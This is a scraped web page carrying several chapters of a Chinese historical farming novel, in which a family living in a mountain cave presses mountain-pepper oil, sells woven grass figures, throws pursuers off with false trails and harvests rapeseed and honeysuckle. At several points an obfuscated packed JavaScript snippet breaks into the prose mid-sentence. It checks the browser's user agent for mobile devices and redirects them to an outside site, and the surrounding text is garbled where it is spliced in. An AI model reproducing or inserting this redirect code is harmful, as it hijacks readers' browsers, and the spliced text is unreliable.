从前只要是应季的野菜或者地里应季长出来的菜，一连吃能吃好几个月，吃到吐还要吃。 林禾瞧出他的心思，解释了一句，“这个可以拿回去榨油，保存的好一整年都能用木姜子调味。” “还是娘厉害，什么都会！” 沈大山全身心信任着林禾。 回到山洞后，王三娘已经做好早膳。 有了大米，今天早上就不止土豆，还煮了一碗粥！ 林禾往粥里加了蜂蜜，甜滋滋的，感觉身上又有力气了。 果然人还是离不开碳水！ 吃完饭之后，林禾也没闲着，而是将摘回来的木姜子一一去梗晾晒。 成熟的木姜子都是深绿色或者黑紫色的，香味浓烈，林禾只是摘梗摘了小半盆木姜子，手上身上就已经被染入味了。 王三娘收拾完灶台，拉过小板凳帮着一起去梗。 沈大山洗完碗也一起过来帮忙，大妞二妞也蹲在一边弄。 三大两小一起弄了整整一个时辰才全部弄完。 再次抬起头时，林禾觉得脑袋以下全都废了，手脚更是酸得发麻。 其他几人也没好到哪里去，起身时都颤颤巍巍。 沈大山抱起装着木姜子的陶盆，“娘这些拿起哪里晒啊？” “你先放下来。”林禾揉着手脚，缓过来之后朝沈大山招手，“把你手边的簸箕拿过来。” 沈大山依照林禾的话做了之后，林禾把盆里的木姜子都倒在簸箕上，铺开摊平放在山洞阴凉通风处。 木姜子不能暴晒，最好是阴干，不然会将木姜子里面的油挥发出去。 第38章 木姜子油 晾晒好的木姜子水分减少，果皮微软但不粘手。 减少水分至这个程度，正好可以用来榨油。 上次擂糍粑的石臼也可以用来榨木姜子，虽然出油的效率不怎么高，但已经是现在最合适的方法了。 林禾把阴干的木姜子倒了一碗放在石臼中，木槌轻轻捶打至木姜子裂开再倒进加热的陶罐中，小火微烤，利用热力使油脂更容易流动。 等冷却后再用木槌一下下捶打碾压，直到把木姜子研磨成细腻的糊糊状。 “大山，把石桌上放着的水递过来给我。” 林禾停下手上的动作，唤了一声。 “娘，这根筷子是用来干嘛的？”沈大山把碗拿了过来，但碗中放着的筷子，他想不明白。 “是用来滴水的。”林禾把木槌塞给沈大山，接过碗筷，用筷子蘸水后滴了几滴水进石臼中。 这些水能帮助油脂随浆液渗出，但不能加太多，以免浆液变稀。 “你再磨一会儿，不要捶。” 林禾扔下一句话转身朝洞外走，外面还晾着一块昨天洗干净的麻布。 这是林禾特意买回来的，本来是想着榨菜籽油的时候用，结果先给木姜子油用上了。 沈大山扶着石臼，让石臼微微倾倒，林禾拿麻布接着倒出来的木姜子糊，连黏在石臼上的糊糊也不放过，用手全部抠下来。 林禾收紧手中的麻布，将木姜子糊裹成紧实的油包，“大山，把蓄水池旁边的那两块石板搬过来。” 这两块石板是之前用来压豆腐的，光滑且厚实。 最重要的是其中一块石板左高右低，垫在底下能让压出来的木姜子油顺着右边流进下面放着的小陶罐中。 两块石板夹住用麻布包好的油包，林禾用力挤压，但出油率肉眼可见的少。 “大山，你来试试。”林禾让出位置。 沈大山力气大，又用足了劲儿，第一下压下去油包肉眼可见地渗出一道浅棕黄色的油脂。 “还得是你来！”林禾满意地点点头，转身就瞧见去放鸭子回来的王三娘母女。 三人手上和身上都沾满了泥巴。 “水潭的围栏你们也扶起来了？”林禾给三人打水洗手洗脸。 “对啊！奶奶，那围栏都倒了，我和姐姐也帮忙了噢！我扶起来三根呢！” 二妞拿帕子擦着脸，满脸骄傲。 “我扶起来四根。”大妞也眼巴巴地看着林禾，一副求表扬的小模样。 “都是好孩子，都厉害！” 林禾挨个摸了一把二人的脑袋。 结果……一手的泥巴。 怎么连头上都是泥？ 不知道的还以为是去泥地里打滚了呢！ “烧水洗澡洗头，下午就不要出去了。”王三娘擦干净手，扯了扯大妞黏着泥巴的发丝。 二妞爱动，头上的泥巴更多，整个右边的头发上都粘着泥。 王三娘回来之后就忙着给她们二人烧水洗澡洗头。 林禾看着用草席围出来的简陋洗澡房，洗澡的水顺着草席下面流出来，林禾只得拿喂鸭子的陶盆接住。 太不方便了。 等忙过了这一阵子，是时候得将洗澡房建好一点了。 王三娘带着双胞胎洗澡的时间，沈大山也将木姜子的油包都压了一遍。 放在下面的小陶罐也装满了，林禾又换了个新的，把所有压过的木姜子渣绑在一起，重新再用石板压了一次。 这次压出来的木姜子油不多，只覆盖了浅浅的一个陶罐底。 沉淀过后的木姜子油从棕黄色慢慢变成浅棕黄色，其中还有一些杂质没有沉淀下去。 真正沉淀好的木姜子油是清亮的琥珀色。 “娘，午膳咱们真煮这么多米吗？” 王三娘看着舀出来的半盆白米，有些恍惚，不能确定。 这要是省着点吃，一家人能吃小半个月嘞！ 现在一顿就吃了…… “煮！没米了还能再下山买，挣了钱连饭都吃不饱，哪儿还有力气再想法子挣钱？” 林禾把挂在山洞上的蕨菜干和笋干各自取了一把下来。 “行！” 王三娘仿佛下定决心一般，应了一声就去淘米了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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分明就是花果山不知名的小**猴！ 但其他几人也没揭穿她，由着她自己编。 大妞和王三娘负责编齐天大圣、其他师徒三人和白龙马，而林禾则凭着记忆编新的妖精。 至于沈大山，他不会这些精细活儿，光是瞧着那些弯弯绕绕的棕叶条他都眼花。 他只在一旁负责帮林禾她们把棕树叶撕成棕树条。 第39章 原来是熟人局啊！ 不出意料，林和和沈大山下山时，卖货郎已经等在原地，看见二人过来时，眼睛都亮了。 “婶子，你们可算来了！” 卖货郎着急向林禾他们走过来，差点被自己放在脚边的扁担绊倒。 “小心。”沈大山扶了他一把。 “多谢大哥。”卖货郎年纪比沈大山小一些，站定后立刻同林禾开口。 “婶子，你还有没有上次卖给我的草编人偶？” 卖货郎语气急切，显然已经在此处等了许久。 “还有，只是这次你打算出价几何？” 林禾一看便知他上次转手卖出去卖了不少钱。 不然也不会急成这样。 “师徒四人和那匹马一起我出价三百文！” 卖货郎终究还是年轻，一上来就报高价，林禾一下就知道他上次赚了不止三百文，很可能一两银子都不止。 林禾听完他的报价并没有说话，沈大山也同林禾学了几分，沉着脸不说话。 卖货郎急了，他还收了那些夫人小姐们的订金，若是带不回去，恐怕要被送进官府了。 “婶子，四百文如何？” 林禾见他这般着急，心中猜到他应当是收了其他客人的订金，更加不怕了。 这个东西她敢保证，只有她能编出来，其他人就算要学，也得学上几个月。 这可不是随随便便就能学会的，她当初跟着张叔学了快一年，才将这非遗草编学会。 林禾还是沉默，沈大山偷偷瞄了她一眼。 娘真能沉住气啊！ 这都给到四百文还不出声。 卖货郎没辙了，苦着脸开口：“婶子，不如您出个价吧！” 林禾淡定伸出两根手指，“一套二两银子，我再搭一个小妖精给你。” 沈大山倒吸一口凉气。 我滴乖乖！ “婶子，您这……价格有些太高了。”卖货郎犹豫了。 订金给了一两银子，他一共才卖四两银子一套，她一开口就要走一半的钱。 他实在舍不得！ “你上次从我手里拿走的那一套，光靠齐天大圣就赚了不少吧！” 林禾笑着看向卖货郎，“这次就算我出价二两银子，你也至少能赚一半，加上上次的草编人偶，你赚得并不少，我的价格应当合理才是。” 卖货郎被说中了心事，神色不自然。 上次确实赚得多，足足赚了二十两银子。 “生意都是有来有往的，若是只想着自己赚钱，做不长久的。” 林禾也不着急，等着卖货郎做决定，她不怕他不答应。 “好！就四两银子一套！”卖货郎妥协了，“但婶子也要答应我，往后这草编人偶只能卖给我一个人！” “可以！”林禾也不是拖沓的人。 她深知这草编人偶也就这一段时间值钱，等风头过去了，或者有其他人模仿，这些草编人偶就卖不出高价了。 能先赚一笔就先赚一笔！ 卖货郎仔细清点了林禾竹篮里的草编人偶，“一共是七套，还多出一个黑熊精。” “你给二十八两银子吧，这黑熊精也一起送给你了。” “成！那这菜种子就算我送婶子的！做生意有来有往嘛！” 卖货郎也很大方，给完钱之后，直接将木箱里的一袋菜种子拎了出来。 “这里面都有什么菜种子？”林禾把钱收好后打开了布袋。 “什么都有一些，都是寻常菜种子，具体我也记不清了。” 卖货郎小心翼翼把草编玩偶收进木箱里，生怕碰坏了，还在里面垫了一层布。 卖货郎这七天走了好几个村子，收的东西不少，自然不是每一个都记得，更何况菜种子有的时候是好几种搭着收回来的。 “行，谢谢你。”林禾扎紧布袋，“这次你带了土豆吗？若是带了我照例还是都要了。” “带了，只不过这次之后那个胡商说不卖我了，好像是有人把他的土豆都收了，这四袋土豆应当是我最后一次卖了。” 卖货郎把另外一个木箱的板子拉开，把里面的土豆都抱了出来，“还和之前一样，给我五文钱一袋就成！” “行，钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只不过原身的男人死得早，而刘杏花的男人一直活着。 虽然活着，但没有活成依靠，反而只带来了苦难。 林禾没想到自己已经万般小心，还是会被人盯上。 看来只要是你有一点价值，都会吸引那些臭虫叮咬上来！ “娘，明天他们若是还要跟着来，我们咋办啊？” 沈大山表现得有些不安。 “咋办！当然是要他们好看！” 林禾不是心软的性子，一路往山上走的时候，就将有痕迹的小路都用树叶遮盖。 平时下山和上山，林禾几人走的都不是一条路，所以痕迹不深，能轻易遮盖。 同时还利用沿途的灌木和树枝做掩护，砍掉部分树枝，特意留出来的路只会让他们在原地兜圈子。 林禾还带着沈大山特意多走了几遍，在新开辟出来的路上加深痕迹，以假乱真。 若是不熟悉的人，定然会沿着有足迹的路走，等发现在原地兜圈时，体力也消耗得差不多了。 林禾从前为了对付那些进山偷猎的违法人员，也经常做这样的陷阱消耗他们的体力。 这一招屡试不爽！ “娘，杏花婶子她若是找不到咱们，会不会……” 沈大山心软又老实，从前在家被原主和弟弟一家压榨不是没道理的。 “那是她的问题，她的苦难不是由你造成的，不需要背负她的命运，若是让她找到我们，她是好过了，那咱们呢？” 林禾把道理和结果都说清楚，沈大山立马明白过来。 突然泛起的同情心瞬间就被压了下去，“娘，您说的对！咱们顾好自己就行！” 沈大山和林禾做完这些，回到山洞时比平时晚了将近两个时辰，王三娘都把做好的饭菜热了两遍才见到人回来。 “今日怎么这么晚？可是碰上什么事情了？” “李铁牛夫妇二人跟着我们上山，没打什么好主意，但好在他们不熟悉路，没能跟上来。” 林禾简单说了事情的经过。 王三娘一听是李铁牛夫妇二人，眉心紧皱，“怎么会碰上这两个人……” 王三娘在沈家村，最不想和这两个人打交道，夫妻俩都是一个样子。 刘杏花被打，博得别人同情后就喜欢占便宜，得到的东西都拿回去给李铁牛，等被打了又出来诉苦。 实在是叫人厌烦。 “没事，娘布置了陷阱，他们走不上山的，只会在原地打转，就算他们上来，山上这么大，找不找得到咱们还得看他们的本事！” 沈大山怕王三娘担心，赶紧出言解释。 “而且娘今日可厉害着呢！三言两语就让那卖货郎高价买下我们的草编玩偶，你们猜猜一共卖了多少钱？” 沈大山说这话，既转移王三娘的注意力，又能让王三娘开心，有几分哄人的意味。 “二两银子？”王三娘大着胆子猜，说完又觉得不可能，“应该没有这么多吧？” 沈大山摇头，“往大了猜！” 王三娘有些诧异，“四两！” “再往大了猜！”沈大山一副洋洋得意的模样，惹得王三娘心口直跳。 “若非卖了十两银子？”王三娘说出口时，她自己都有些不信。 沈大山见王三娘满脸激动，也没再继续卖关子，直言道：“卖了二十八两！” “真的！？” 王三娘不敢想，就那些用草编的玩偶居然能卖这么高的价格。 足足二十八两啊！ 够他们一家子三年温饱了！ “爹，你给我们讲讲，怎么卖到这么多钱的？” 二妞闻言也放下饭碗，不吃饭了，等着沈大山讲细节。 大妞也好奇，但她没有二妞反应那么大。 林禾看着几人凑在一起，把饭吃完，没凑热闹，洗完澡舒服躺在草席上。 走了一天，躺下的那一刻，身心舒畅！ 林禾不知何时睡着了，再次醒来的时候外面已经升起了太阳。 山洞里没人。 柴刀也不见了，林禾就知道沈大山估计是去砍柴了。 至于王三娘母女三人，这个时辰一般都去放鸭子了。 林禾洗了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287126|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把脸，拎着柴刀出了山洞，“难得的大晴天啊！” 最近这段时间阴雨绵绵，但一到五月，天气就开始慢慢好转。 五月初，油菜也该熟了。 林禾走到之前的那片洼地上，金黄的油菜花已经被绿色的油菜籽取代，偶尔有几株油菜花长在中间。 大多数油菜花已经变成油菜籽，绿色的枝干上长满了豆荚状的油菜籽。 有些油菜籽已经慢慢变黄，但将近一半的油菜籽还未完全熟透。 林禾用手碾开一个变黄的油菜荚，一个油菜荚里面有四颗褐色的油菜籽，褐色的油菜籽粒饱满圆润。 “再等几日应该就差不多了。” 林禾又带着柴刀往回走，不过不是回山洞，而是绕路去了半山腰。 她想看看李铁牛夫妇来了没有。 “娘？你也来了。” 沈大山的声音传来，林禾却只听见声音，没看见人，正疑惑，沈大山就从林禾头顶的树上跳了下来。 “你爬树上去干嘛？” “站得高看得远，我在树上能看见山脚的位置。”沈大山似乎很骄傲自己想到的法子，“我刚刚已经看见他们上山了，就朝着这边走呢！” 林禾闻言，也顺着身边的树往上爬，站在树枝上看着开始兜圈的李铁牛夫妇二人。 沈大山和林禾在树上坐了一个半时辰，底下的李铁牛夫妇就在进山的地方绕了一个半时辰。 “当家的，这地方有古怪，怎么走都走不出去，我们一直在原地兜圈子啊！” 刘杏花先发现了不对。 “你说什么！”李铁牛累得瘫倒在地上，仔细看了一圈，才发现自己真的在原地兜圈子。 “这莫不是……鬼打墙？” 刘杏花哆哆嗦嗦说出这句话时，李铁牛一下子从地上站起来。 刘杏花也四处张望，突然刮起的一阵风，让本就心虚的二人惊得慌不择路。 李铁牛一脚踩空身边的灌木丛滚了下去。 “当家的！”刘杏花惊叫一声，扒开灌木丛才发现下山的路，赶紧小跑着去扶李铁牛。 二人头也不回地离开了。 第41章 收割油菜 林禾瞧见这二人的样子，估摸着最近也不敢再来了。 “娘，还是您厉害！”沈大山笑呵呵地跟上去，一想到刚刚二人狼狈的样子，他就忍不住想笑。 “你也学着点，万一日后出了什么事，也能用上。” 林禾也希望沈大山能学会这些保护自己的方法。 “我记下了。”沈大山带了柴刀出来，自然也是有想要砍柴的想法，“娘，我砍些柴火回去，您先走。” “我也带了刀，一起吧。” 林禾没收割成油菜籽，干脆跟沈大山一起砍柴。 柴火是消耗品，尤其是竹焙笼里还烘着小板鲫，需要更多的柴火。 沈大山和林禾分工，沈大山负责砍倒，林禾负责砍成小段捆好。 半个时辰，二人就砍了六捆柴火。 林禾特意选了一些相对较直的柴火单独绑成一捆。 昨天她看了那些菜种子，里面有丝瓜和豆角，都是需要插木棍让藤蔓有地方可以攀附的植物。 “娘，我先走，剩下的这些你少背两捆，我会再回来一趟的。” 沈大山边说边走，等话说完，他已经走出去一大截了。 林禾做事向来量力而行，每捆柴都很重，林禾试了试，就只背了两捆。 简单吃过早饭，林禾把晾晒在草席上的黄豆收起来。 黄豆播种之前最好是进行晒种，放在阴凉处阴干，这样能提高发芽率。 为了节省种子，林禾播种的时候选择用穴播的方式。 穴播也称点播，就是在翻好的地里挖出拳头大小的洞，将种子扔进洞里，用土覆盖。 这样的方法，节省种子的同时又能方便施肥和集中管理。 沈大山和王三娘照着林禾挖的洞，在另外两行垄上挖了几个小洞。 “娘，这个洞的大小合适吗？” 沈大山有些拿不准。 林禾扫了一眼，“合适，你们挖的都行，只要挖的不是太大都可以。” 种田不是操作精密的仪器，一点点错误都容不下，反而只要掌握大方向，顺应农时，在这些小细节上不必一板一眼去抠细节。 大妞二妞也一起跟着来了，小锄头给她们两个用。 她们两个围着一行垄，一前一后学着林禾的样子挖洞。 林禾见她们做的有模有样，也没阻拦，把装在布袋里的黄豆拿了出来。 他们在前面挖洞，林禾就跟在后面往洞里扔黄豆，一个洞扔两颗或者三颗，再覆上一层土，等着黄豆发芽。 等沈大山他们挖完洞，林禾也差不多将黄豆都种了下去。 黄豆出苗的时间比红薯和土豆要快一些，最慢七天也全都出苗了。 “娘，我先上去把上面的草和灌木砍了！” 沈大山拎着柴刀，往上面的坡地走。 今日除了来种黄豆，也是来开荒的。 豆角和丝瓜正是这个时节该种的蔬菜，再不种就只能等夏播，等的时间有些长了。 而且布袋里的种子很多，林禾只是粗略看了一眼，没来得及细看干脆一起带了过来。 沈大山先上去把难清除的灌木和杂草都清理了，林禾和王三娘只需要把留在地里的树枝和杂草堆到一边烧成草木灰。 开荒有沈大山在，省下不少力气。 三个人合力挖了两个多时辰，终于收拾出来四亩地。 林禾的握着锄头的手已经酸痛发麻，但一鼓作气，还是将丝瓜和豆角都种了下去。 丝瓜种子不多，就一捧，林禾依然采用穴播，节省种子。 五月初，田里的水稻种子陆续出苗，绿油油的禾苗见风就长。 几天的功夫，禾苗已经长到小臂那般高，再等几日稳定下来就能移栽。 这段时间同样也重要，沈大山跑梯田的频率越来越高，忙着引水也忙着放水。 立夏之后，雨水没有清明时节那般多，但时不时还是会来一场暴雨，地里的庄稼并不缺水。 红薯苗破土而出，嫩绿的叶子在雨水的浇灌下更加绿得亮眼。 土豆苗只比红薯苗晚出苗一两天，但长起来的速度却比红薯苗更快一些。 才几天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287127|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功夫就蹿出了七八片叶子，大有茁壮成长的趋势。 土豆和红薯都不是麻烦的作物，只要不被水淹，基本上没有大问题，出苗之后只要按时松土，到了时间等着收获就行。 林禾自从上次见到油菜籽熟了之后，就一直惦记着，这段时间去看过好几次，特意挑在油菜籽成熟到70%的时候去收割。 熟得太过油菜荚会裂开，里面的油菜籽会爆出来，但若是油菜荚还是绿色的，里面的油菜籽就没熟，榨油的时候出油率太低。 现在这个程度正好，黄色中带点褐色，不至于太熟也不至于太生。 “娘，我特意带了新箩筐过来。”沈大山用扁担挑了两个箩筐，兴冲冲赶过来。 这两个箩筐还是前几天他和王三娘晚上一起做出来的，为了方便挑粮食，没想到最先派上用场的居然是用来装油菜。 “动作轻些，有的油菜熟了，就会爆开。” 林禾虽然算好了时间，但不可能每一株油菜籽都合她的心意，总有一些熟过了的。 “诶，我知道了。”沈大山听了林禾的话，收着力气去割油菜。 洼地里的油菜大概只有两亩地的量，但油菜并不是人为种植的，有的地方密集，有的地方稀疏。 等收割完，二人也花了快三个时辰。 期间沈大山还回去运了一趟，才勉强将所有的油菜籽都带了回去。 回去之后，林禾也没歇着，而是带着其他几人将油菜籽捆成一把。 莫约十五到二十株油菜一把，挂在山洞外的木栏杆上晾晒。 挂完油菜籽，林禾蹲在山洞前的小菜园里掐野蒜，正好看见二妞在草席边上，顺势开口道。 “二妞，把垫在里面的草席抽一张出来，放在油菜籽下面。” “好！”二妞熟练地揭开放在最上面的草席，从下面抽出一张抱过来，放在下面。 油菜籽在晾晒的过程中，有些未完全成熟的种子会继续饱满，随时有撑开菜籽荚的风险。 为了避免浪费这些油菜籽，垫一层草席在下面还是很有必要的。 第42章 金银花 连着放晴几日，林禾把烘在竹焙笼里的小板鲫也拿出来晒。 挂在围栏上的油菜籽也从黄绿色逐渐变成白褐色，已经完全成熟。 放在底下的草垫也接到不少黑色的油菜籽，林禾把这些油菜籽收拢到一起，又扯了四捆油菜籽下来放在草垫上。 “大山，把昨晚削好的木棒拿出来！” 林禾把两捆油菜籽合成一捧，双手握住轻轻抖动，将本来就要爆开的油菜籽抖落。 沈大山应声进去拿木棒，王三娘也跟着一起出来帮忙。 油菜籽晒干之后要脱粒，用连枷拍打油菜籽是最方便的，但条件有限，用擀面杖长度的粗木棒拍打也是一样的效果。 “大山，你收着点力气，别把籽粒也一起敲碎了。”林禾手上握着木棒，还没忘记叮嘱沈大山。 “娘，我晓得嘞！” 沈大山从前也打过油菜籽，动作娴熟，一拍一转一抖，油菜荚被敲开，黑色的油菜籽簌簌往下落。 三人各自占据草席的一角，拍打着从围栏上取下来的油菜籽，不到两个时辰，全部的油菜籽都脱完籽。 脱粒的油菜并不意味着就能榨油了，还得将混在油菜籽里面的碎秸秆、空壳灰尘和泥土一类的杂物都清除干净。 没有风车，用簸箕也一样可以。 林禾取来簸箕，王三娘和沈大山已经把敲下来的油菜籽都堆在一起。 见林禾过来，二人分走另外两个簸箕，将草席上的油菜籽都扒进簸箕中。 簸箕上下抖动间带起来的风，顺理成章地将油菜籽中的空壳和碎秸秆之类的杂物都吹了出去。 “大妞、二妞，你们两个站远一点，等下这些东西都落到你们身上了。” 王三娘见两个孩子站在下风口，出言催促二人离开。 去除完杂物的油菜籽，重新倒出来放在草席上继续晾晒，直到摸上去不粘手，能用手指轻轻碾压破开就可以用来榨油了。 林禾拍了拍手上的灰，直起身子，“行了，晒着吧！等过两个时辰再来翻动。” 干活的时间总是过得特别快，处理完油菜籽一个上午就过完了。 吃过午膳后，各自都有事情要忙。 王三娘得再烧制一窑陶器出来，最缺的就是舀水的勺子和装水的陶桶。 沈大山忙着修补山洞前的平地，前几日下雨，原本平整的地面变得坑坑洼洼。 稍微下一点雨，走动过后，门前都是深一个浅一个的脚印，裤腿鞋子上沾满黄泥巴。 不仅不方便走动，就连晾晒东西都很不方便，草席只能挑着平整的地方摆。 林禾则要扛着锄头去给刚长来的黄豆苗补苗，还得去梯田里给水稻苗引水。 连着开了几天的太阳，水田里的水不够，每日都得盯着。 种地瞧着只是春耕秋收，其实其中的门道和琐事数不胜数，但凡哪一个环节落下了，错过了合适的季节，前面的努力都要白费。 为了吃一口饭，是很不容易的。 两个双胞胎得知草编玩偶卖了大价钱后，热衷于在山上找各种藤蔓树叶，变着花样的琢磨着编各种动物、妖精。 林禾没出门前，这两人就不见了。 山上没有大的猛兽，林禾也就随她们去了。 有大妞在，二妞也不出了事。 短短几天时间，黄豆苗长势喜人，只是有些地方的豆苗长得密集，需要挖出来重新栽种一遍。 少的地方补苗，多的地方分开。 苗长得粗壮的搭着几根瘦弱的豆芽，要及时把豆芽拔除，免得在一个坑里争营养。 收拾完这些豆苗，林禾瞧着整整齐齐、茁壮成长的豆苗，心情不错，哼着歌往水田走。 “春种秋收忙忙碌碌每一天~ 瓜果满山腰五谷香四海~ 丰收的歌儿飘在天地间~ 种好咱的田端好咱的碗~ 脚下有良田日子才能保平安呐~” “奶奶！”二妞的声音脆亮，林禾站在梯田里，一下就听到了。 她循声抬头望去，二妞头顶着一个黄白相间的花环，站在对面的树丛中招手。 大妞蹲在她身边，似乎还在扯什么东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287128|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林禾觉得她花环上的花眼熟，但隔得远，林禾也没敢确定。 直到二妞小跑着从田埂上过来，大妞手上还拿着一串，也跟在二妞身后一起过来。 林禾才看清楚，她们手上拿的不就是金银花嘛！ 金银花的茎细长、中空且多分枝，花长在叶腋，一朵花同时存在白色和黄色两种颜色，因此得名为“金银花”。 金银花的香味清淡，寻常时候细闻才能闻出来，但架不住大妞二妞一人抓了一把过来，香味逐渐变得浓郁。 浓郁却不香腻。 “你们这些花在哪里摘的？” 金银花晒干后能泡茶喝，立夏后天气温度会逐渐升高，金银花茶有清热解毒、缓解暑热烦渴的作用。 二妞双手张开，夸张地在空中比划，“就在上面的山坡，好大一丛的花，可漂亮了！” “咱们过去看看！” 林禾把最后一个出水口堵上，在草丛边把锄头上的泥巴蹭干净，让双胞胎在前面带路。 林禾跟着她们连续上了两个坡，才看见长在灌木上的金银花。 五月初，正是金银花生长的季节，一大丛金银花压在灌木上，像一条黄白相间的毛毯。 “走！咱们回去拿竹篮！” 这么多金银花可不能错过！ 林禾带着双胞胎往回走。 “娘，你们这是急着上哪儿去啊？” 在门口烧窑的王三娘看见急匆匆的林禾带着双胞胎来去匆匆，多问了一嘴。 二妞含糊不清地答了一句：“摘金色的花……” 沈大山闻言停下劈柴的动作，“啥金色的花？” 三人已经走远，只剩下王三娘和沈大山面面相觑。 等三人带上竹篮和布袋回到原处时，天色渐晚，天边只剩下太阳落山的晚霞，顺着连绵的山峰一路延绵。 在晚霞的映衬下，金银花被镀上一层金黄色的边，丝毫不愧对金银花的名称。 金银花实际上也是一种灌木，花摘完了也不影响生长，只要有根，来年依旧茁壮生长，不用担心种子。 第43章 黑木耳 林禾摘高的、远的金银花，大妞和二妞摘低矮的金银花。 三人一小会儿的功夫就装满了带过来的竹篮和布袋。 “你们两个提着竹篮。”林禾把竹篮递给双胞胎，弯腰捆紧布袋扛起来往回走。 “娘，你们带了什么回来？” 沈大山见林禾扛了满满一袋子，还以为袋子很重，想上前帮忙。 “是花！”二妞把竹篮里的金银花给沈大山看。 “这些是金银花。”林禾把布袋打开，拿了三个陶盆过来，将所有的金银花都倒了出来。 “洗干净晒干能泡茶喝。” 林禾说话的功夫，已经将其中一盆金银花在水里冲洗了一遍。 再次捞出来的时候，水里浮着一层灰和几只蚂蚁。 金银花蜜带着些甜味，很受蚂蚁这类小昆虫的欢迎。 冲洗一遍金银花，主要也是为了把表面的灰尘和虫子洗干净。 王三娘重新装了一盆水过来，把双胞胎手上的金银花也倒了进去。 竹篮里的金银花压得比较实，倒出来竟然有两盆的量。 洗完的金银花最后竟然铺了两块草席才勉强晾下。 刚晾下没多久，天空中突然汇聚一大片乌云。 “三娘，大山，要下雨了，赶紧出来抬草席！” 林禾先一步出去，拉起草席的一角，想将金银花挪进山洞。 山里的雨，下得急。 “来了！” 王三娘离得近，一个箭步冲了出来，和林禾一起先抬了一个草席进来。 王大山放下手中的柴火，紧随其后，和林禾二人一起将另外一块草席抬进山洞。 等三人进了山洞，一阵山风就卷着雨水飘过来，天空仿佛被泼上墨汁的白纸，变得漆黑。 在山洞里，不点灯都看不清。 “这天气捉摸不透，也不知外面的雨要下多久……” 王三娘翻着草席上的金银花，有些担忧。 这些金银花也是辛苦摘回来的，若是就这样放在山洞里发霉了也实在可惜。 “太阳早就落山了，本来也没指望晒上多久，只是想着沥干些水分。” 林禾把还带着水分的金银花抓起来，均匀洒在竹焙笼上。 没有太阳晒，用炭火烘干效果也相差不大。 另外一个竹焙笼烘过小板鲫，要想烘金银花还得清洗一遍，不然带着鱼腥味，很容易让金银花也染上味道。 刷竹焙笼的任务，林禾交给了沈大山。 他力气大，刷得干净。 铺好金银花，罩上竹罩子，没过多久，淡淡的清香就被烘烤出来，飘满整个山洞。 外面的雨还在下，估计又要下一整晚。 王三娘从晾陶器的角落取出一个厚且重的圆形陶器，和放在陶罐上的盖子类似，不过这个圆形陶器是放大版的。 “娘，这个陶盖是我照着陶罐盖子做的，我特意量了顶上那个洞的大小，应该大差不差。” 王三娘指了指头顶上用草席和石头盖住的洞口。 自从上次一下大雨盖在上面的草席和石头被冲开后，王三娘就再想法子，烧窑的时候，捏完陶盖后，她突然有了灵感。 “确实可以！”林禾惊喜地看着这个大陶盖，“三娘，你真聪明！” “娘，都还没试呢！这个东西都不一定有用。” 王三娘有些害羞。 “肯定管用！”林禾比划了一下，披上蓑衣就出了山洞。 压在山洞顶上的大石头搬开后，只剩下渗水的草席，若是这雨再继续下，到晚上可能还得漏水。 林禾揭开草席，立马把大陶盖扣了上去。 大小合适，严丝合缝！ 林禾等了一会儿，起身站在上面往下喊：“大山，洞里漏水吗？” “娘，不漏水！一点都不漏！” 沈大山站在洞口回应。 得到准确的答案，林禾才从山洞上下去。 本来还发愁田里的水稻会缺水，但接下来的几天里，又延续了之前的天气，阴雨绵绵。 林禾从担心水稻苗缺水，到现在又担心红薯苗和土豆苗会被水淹坏。 靠天吃饭，担心完这个又担心那个，总不能真正放心。 好在这样的雨持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 